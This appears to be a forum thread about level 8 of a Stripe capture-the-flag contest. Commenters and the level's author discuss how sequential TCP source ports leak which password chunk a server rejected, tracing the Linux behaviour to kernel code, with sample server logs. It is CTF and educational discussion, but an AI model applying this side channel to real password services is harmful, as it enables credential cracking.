As various people are commenting on #8: modern server operating systems do not do this behavior "by default". The hints from Stripe were all "run it and it will be obvious", but while the exploit worked fine on my laptop, I went to the trouble of duplicating the setup they had as exactly as I could, setting up the same version of Ubuntu they were using in the same EC2 region (which then implies the same version of Twisted: 10.0.0, despite their being adamant about 11.1.0, which I figured might even be the problem), and it didn't actually do that: reasonable server systems are configured, out of the box, to randomize that side channel. I personally believe that this is part of why there was such a cliff when everyone hit level #8 with regards to difficulty in solving.
So, as far as we could tell, there is actually no way to turn off sequential source port assignment. We reproduced the vulnerability in a number of environments in the wild (including several shared hosting providers and a Mac OSX system), and dug into the relevant kernel code. The only kernel I know that has TCP source port randomization as a feature is grsec: http://grsecurity.net/confighelp.php/. Without patching, your kernel should be vulnerable -- I'd be very curious to hear if you're seeing something different.
Incidentally, there's a relatively recent RFC on TCP source port randomization: http://tools.ietf.org/html/draft-ietf-tsvwg-port-randomizati.... There's a decent amount of mailing list traffic on implementing this for Linux, but it doesn't appear anything has been mainlined here yet.
I can confirm that it was definitely doing sequential assignment on my Ubuntu 12.04 virtual machine. As soon as I figure that out I was a bit surprised that the OS would let that slip through.
Ok, wow, that's really irritating: what I had been staring at was the output from subsequent connections to different hosts (such as between the backends, or between the backends and the webhooks)...
# ./password_db_launcher 012345678901 127.0.0.1:3232 2>&1 | grep Received
[127.0.0.1:34651:1] Received payload: '{"password": "012345678901", "webhooks": []}'
[127.0.0.1:39664:1] Received payload: '{"password_chunk": "012"}'
[127.0.0.1:34991:1] Received payload: '{"password_chunk": "345"}'
[127.0.0.1:42667:1] Received payload: '{"password_chunk": "678"}'
[127.0.0.1:33434:1] Received payload: '{"password_chunk": "901"}'
...but it turns out that to a single host source port assignment is still both sequential and mediated by the same global sequential counter...
[127.0.0.1:35502:23] Received payload: '{"password": "112345678901", "webhooks": []}'
[127.0.0.1:38011:23] Received payload: '{"password_chunk": "112"}'
[127.0.0.1:35504:24] Received payload: '{"password": "112345678901", "webhooks": []}'
[127.0.0.1:38013:24] Received payload: '{"password_chunk": "112"}'
The algorithm for determining the ephemeral source port apparently has this behavior because it involves 1) entropy that is generated once at boot, 2) an md5sum of that entropy with the destination/source address and destination port, and 3) a hashtable insertion with linear probing.
As #1 is at boot, it doesn't affect the result in a way that really matters, but as #2 is based on other properties of the connection, we get behavior that looks random between backends and webhooks, but is in fact deterministic to the webhook.
What bugs me, however, is that hashtable: it is treated as a hashtable with open addressing and linear probing; the hash value that it starts with is the aforementioned md5sum: it really shouldn't end up allocating a sequential port to outgoing connections across hosts (it should only do so per host).
Except, I would assume to make it more efficient (as otherwise the hash that is going into it is going to keep returning the same thing if you are making lots of connections to one place), there is a "hint", and the hint is a static integer that is incremented for each port skipped.
So, you could seriously delete that one line of code from the kernel, then, and "solve" this at some minor performance expense. Alternatively, you could add the high bits of port_offset instead of 1 and get a quite reasonable middle ground.
Regardless, there: that's the story of why I've been operating under the assumption that Linux has not had this problem for a very long time, and exactly why I was wrong (down to the individual line of code that screwed me: inet_hashtables.c, line 521).
That said, it only somewhat changes what I was saying: I am curious if the level was designed and thought about on a device that had truly sequential port numbering. It definitely is incredibly obvious once you run it on, say, a Mac OS X laptop, that the port numbers are a side channel.
However, if you run it on Linux, you are going to have to sift through the sea of port numbers and notice that the connections to individual servers is incrementing even though, for the most part, the port numbers you are seeing look mostly like garbage.
(By the way: except for the massive difficulty cliff at level 8, this contest was amazingly well put together. I believe I said something similar already about the previous one, but I'll also say it again: that one was also amazing. I'm really curious if you have some kind of need to hire an entire army of security people, given the effort you are putting into this ;P.)
I wrote this level on my Ubuntu laptop. I was inspired by the idea of TCP idle scans (http://nmap.org/book/idlescan.html), and spent a lot of time trying to find other ways to do connection counting before I realized that this worked. One thing I really like about it is that in contrast to other levels, this one isn't so much a bug in the code, but instead the interaction between your code and something three abstraction layers down the stack. But it turns out that a lot of real-world security is that. Ultimately, we ended up with a pretty good distribution of solvers (the dropoff between each level is basically linear), which I think is a good sign for our difficulty curve.
(After a few people solved it, there was a community of people on #level8 helping others solve it: that's how I finally got helped to the answer by a very kind and patient user I finally found; the result being that the dropped will correlate more with continued interest than difficulty. So, you can't look at the final distribution: you have to look at the time taken before each level was first solved, which allows you to slightly control for interest by staring at the few most-excited people; and level8 stood for 14 hours while all the other levels were beaten by some of the faster hackers, like vos, in a couple hours.)
